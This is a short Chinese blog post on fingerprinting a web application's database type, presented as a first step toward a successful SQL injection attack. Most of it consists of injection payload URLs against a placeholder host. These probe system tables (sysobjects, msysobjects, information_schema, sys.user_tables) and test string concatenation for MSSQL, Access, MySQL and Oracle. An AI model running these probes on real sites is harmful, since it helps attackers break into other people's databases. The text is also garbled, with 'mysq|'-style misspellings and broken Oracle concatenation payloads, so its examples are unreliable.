怎么判断数据库类型
想要成功的发动SQL注入攻击,最重要的是知道应用正在使用的数据库类型和版本。没有这一信息就不可能向查询注入信息并提取自己所感兴趣的数据,正所谓知己知彼百战百胜。
一:常见构架判断数据库类型
asp + access
asp + mssq|
asp.net + mssq|
php + mysq|
jsp + oracle
jsp+mysq|
二:利用一些特征判断数据库类型
报错信息:
Oracle:ORA-01756:括号内的字符串没有正确结束
Mysql: ERROR 1064 (42000): You have an error in yourSQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near
MSSQL: [Microsoft][ODBC SQL Server Driver][SQL Server]字符串’’之前有未闭合的引号
三:通过特有数据表进行判断
MSQQL数据库:
http://host/test.php?id=15 and (select count(*) from
sysobjects)>0 and 1=1
Access数据库:
http://host/test.php?id=15 and (select count(*) from
msysobjects)>0 and 1=1
Mysq|数据库:
http://host/test.php?id=15 and (select count(*) from
information_ schema. TABLES)>0 and 1=1
Oracle数据库:
http://host/test.php?id=15 and (select count(*) from
sys.user_ tables)>0 and 1=1
四:使用字符连接方式判断数据库类型
MSSQL数据库:
http://host/test.php?id=15 and“1'+'1'='11'
MySq|数据库:
http://host/test.php?id=15 and‘1'+'1'='11'
http://host/test.php?id=15 and CONCAT('1','1')='11'
Oracle数据库:
http://host/test.php?id=15 and 11'1'='11'
http://host/test.php?id=15 and CONCAT(1','1')='11'
扫描二维码推送至手机访问。
版权声明:本文由零零博客发布,如需转载请注明出处。